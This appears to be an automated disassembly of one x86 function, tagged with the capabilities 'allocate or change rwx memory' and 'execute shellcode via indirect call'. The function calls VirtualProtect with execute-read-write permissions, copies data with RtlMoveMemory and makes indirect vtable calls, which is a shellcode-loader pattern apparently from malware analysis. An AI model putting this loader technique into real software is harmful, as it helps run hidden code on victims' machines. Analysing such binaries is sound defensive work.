Function at 0x10002829
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [eax]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
jge 0x10002899
mov eax, 0
jmp 0x100031ad
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push dword [ebp - 4]
call fcn.100031b3
mov dword [ebp - 0xc], eax
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100028da
push 0x31c
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100028f7
push 0x31c
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10002c92
fild dword [ebp - 4]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fadd qword [0x1010b30b]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.1000144d
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x24], esp
push 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x10002967
push 0x3d3
push 0x4242666
push 6
call fcn.1010142e
add esp, 0xc
test eax, eax
jne 0x100029b7
push dword [ebp - 0x14]
call fcn.10003679
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], esp
push 4
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x100029ab
push 0x408
push 0x4242666
push 6
call fcn.1010142e
add esp, 0xc
test eax, eax
jne 0x100029b7
xor eax, eax
jmp 0x100029bc
mov eax, 1
test eax, eax
je 0x100029dd
push 1
push dword [ebp - 0xc]
push 4
call fcn.10003695
mov eax, 0
jmp 0x100031ad
push 1
push 2
push dword [ebp - 4]
call fcn.10004660
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fadd qword [0x1010b27d]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.1000144d
mov dword [ebp - 0x14], eax
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002a36
push 0x4be
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002a53
push 0x4be
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
fild dword [ebp - 0x14]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x1010b285]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.1000144d
push eax
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x1c]
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002aad
push 0x500
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002aca
push 0x500
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x14]
push 0
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x2c]
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002b11
push 0x53b
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002b2e
push 0x53b
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x30]
mov dword [ebp - 0x28], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
fmul qword [0x1010b30b]
fstp qword [ebp - 0x38]
mov dword [ebp - 0x3c], esp
fld qword [ebp - 0x38]
call fcn.1000144d
push eax
push dword [ebp - 8]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_RtlMoveMemory]
nop
nop
nop
nop
cmp dword [ebp - 0x3c], esp
je 0x10002b90
push 0x561
push 0x4242666
push 6
call fcn.1010142e
add esp, 0xc
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002bba
push 0x5a7
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002bd7
push 0x5a7
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x30]
push eax
push 0
push dword [ebp - 4]
call fcn.10001ef5
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002c24
push 0x5c7
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002c41
push 0x5c7
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
cmp dword [ebp + 0x14], 0
je 0x10002c5d
mov eax, 0xffffffff
jmp 0x10002c62
mov eax, 2
push eax
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fadd qword [0x1010b313]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
call fcn.1000144d
mov dword [ebp - 0x10], eax
jmp 0x10002cb2
fild dword [ebp - 0x10]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp + 0xc]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
call fcn.1000144d
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x10], 0
jg 0x10002d3b
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002ce6
push 0x72a
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002d03
push 0x72a
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x30]
fstp qword [ebp - 0x30]
fld qword [ebp - 0x30]
fild dword [ebp - 0x10]
fstp qword [ebp - 0x38]
fsub qword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.1000144d
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
jle 0x10002dda
fild dword [ebp - 0x10]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp + 0x10]
fstp qword [ebp - 0x34]
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002d84
push 0x7ce
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002da1
push 0x7ce
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x40], ebx
push dword [ebp - 0x40]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x20]
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x3c]
fsub qword [ebp - 0x4c]
fcomp qword [0x1010b31b]
fnstsw ax
test ah, 0x41
je 0x10002dda
xor eax, eax
jmp 0x10002ddf
mov eax, 1
test eax, eax
je 0x10002e00
push 1
push dword [ebp - 0xc]
push 2
call fcn.10003695
mov eax, 0
jmp 0x100031ad
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002e2a
push 0x840
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002e47
push 0x840
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x14]
mov dword [ebp - 0x18], eax
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10002e89
push 0x879
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10002ea6
push 0x879
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push htons
push 0
push 0x1010b323
push 0x80000301
push 0
push dword [ebp + 0x10]
push 2
mov ebx, 0x1c0
call fcn.101026d0
add esp, 0x1c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x38]
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10002f09
push ebx
call fcn.10101422
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
fild dword [ebp + 0x10]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fmul qword [0x1010b34a]
fstp qword [ebp - 0x30]
mov dword [ebp - 0x34], esp
mov eax, 0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
push 0x40
fld qword [ebp - 0x30]
call fcn.1000144d
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x34], esp
je 0x10002f67
push 0x9e5
push 0x4242666
push 6
call fcn.1010142e
add esp, 0xc
mov eax, dword [ebp + 0x10]
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x100030ac
fild dword [ebp - 0x18]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fmul qword [0x1010b30b]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.1000144d
push eax
push 0x1b
push dword [ebp - 0x1c]
call fcn.10001ef5
fild dword [ebp - 0x10]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
call fcn.1000144d
push eax
push dword [ebp - 4]
call fcn.1000475f
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fadd qword [0x1010b352]
fstp qword [ebp - 0x4c]
fild dword [ebp - 0x3c]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fsub qword [ebp - 0x4c]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
call fcn.1000144d
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push 0xf
push dword [ebp - 0x1c]
call fcn.10001ef5
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10003047
push 0xb58
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10003064
push 0xb58
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
fild dword [ebp - 0x10]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp - 0x14]
fstp qword [ebp - 0x34]
fadd qword [ebp - 0x34]
fadd qword [0x1010b285]
fstp qword [ebp - 0x3c]
push dword [ebp - 0x1c]
fld qword [ebp - 0x3c]
call fcn.1000144d
push eax
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x34]
add dword [ebp - 0x1c], 0x1f
pop eax
pop ebx
pop ecx
jmp 0x10002f73
add esp, 0xc
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x100030d9
push 0xbf9
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x100030f6
push 0xbf9
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
fild dword [ebp - 0x18]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp + 0x10]
fstp qword [ebp - 0x34]
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.1000144d
push eax
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov ebx, dword [0x102bd7bb]
call fcn.10001069
push ebx
push ecx
mov eax, dword [ebp - 0xc]
dec eax
jns 0x10003153
push 0xc39
push 0x4242666
push 4
call fcn.1010142e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10003170
push 0xc39
push 0x4242666
push 1
call fcn.1010142e
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
fild dword [ebp - 0x10]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fild dword [ebp + 0x10]
fstp qword [ebp - 0x34]
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.1000144d
push eax
push dword [ebp - 0x24]
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x28]
mov eax, 1
jmp 0x100031ad
mov esp, ebp
pop ebp
ret 0x10